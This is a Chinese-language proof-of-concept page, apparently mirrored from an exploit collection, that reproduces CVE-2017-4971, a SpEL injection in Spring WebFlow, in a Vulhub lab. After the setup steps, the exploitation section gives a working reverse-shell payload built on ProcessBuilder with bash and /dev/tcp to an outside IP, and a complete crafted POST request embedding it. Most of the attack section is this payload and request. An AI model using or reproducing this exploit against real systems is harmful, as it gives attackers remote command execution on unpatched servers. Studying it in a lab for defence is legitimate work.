mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-06 03:17:19 +00:00
68 lines
2.6 KiB
Markdown
68 lines
2.6 KiB
Markdown
|
# Spring WebFlow 远程代码执行漏洞 CVE-2017-4971
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
Spring WebFlow 是一个适用于开发基于流程的应用程序的框架（如购物逻辑），可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中，如果我们控制了数据绑定时的 field，将导致一个 SpEL 表达式注入漏洞，最终造成任意命令执行。
|
|||
|
|
|
|||
|
|
参考链接：
|
|||
|
|
|
|||
|
|
- https://threathunter.org/topic/593d562353ab369c55425a90
|
|||
|
|
- https://pivotal.io/security/cve-2017-4971
|
|||
|
|
|
|||
|
|
## 环境搭建
|
|||
|
|
|
|||
|
|
Vulhub 运行测试环境：
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
docker-compose up -d
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
等待环境启动后，访问 `http://your-ip:8080`，将看到一个酒店预订的页面，这是 spring-webflow 官方给的简单示例。
|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
首先访问 `http://your-ip:8080/login`，用页面左边给出的任意一个账号/密码登录系统：
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
然后访问 id 为 1 的酒店 `http://your-ip:8080/hotels/1`，点击预订按钮“Book Hotel”，填写相关信息后点击“Process”（从这一步，其实 WebFlow 就正式开始了）：
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
再点击确认“Confirm”：
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
此时抓包，抓到一个 POST 数据包，我们向其中添加一个字段（也就是反弹 shell 的 POC）：
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.174.128/9999+0>%261")).start()=vulhub
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
最终的 POST 数据包如下：
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
POST /hotels/booking?execution=e3s2 HTTP/1.1
|
|||
|
|
Host: your-vps-ip:8080
|
|||
|
|
Content-Length: 172
|
|||
|
|
Cache-Control: max-age=0
|
|||
|
|
Upgrade-Insecure-Requests: 1
|
|||
|
|
Origin: http://your-vps-ip:8080
|
|||
|
|
Content-Type: application/x-www-form-urlencoded
|
|||
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
|
|||
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
|||
|
|
Referer: http://your-vps-ip:8080/hotels/booking?execution=e3s2
|
|||
|
|
Accept-Encoding: gzip, deflate
|
|||
|
|
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
|
|||
|
|
Cookie: lang=zh-CN; COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US; JSESSIONID=E489BFF839A3C8D346F45D1B1A8BF03F
|
|||
|
|
Connection: close
|
|||
|
|
|
|||
|
|
_eventId_confirm=&_csrf=5509ae82-f763-41a3-b347-44f09e16fd2e&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.174.128/9999+0>%261")).start()=vulhub
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
成功执行，获得 shell：
|
|||
|
|
|
|||
|
|
|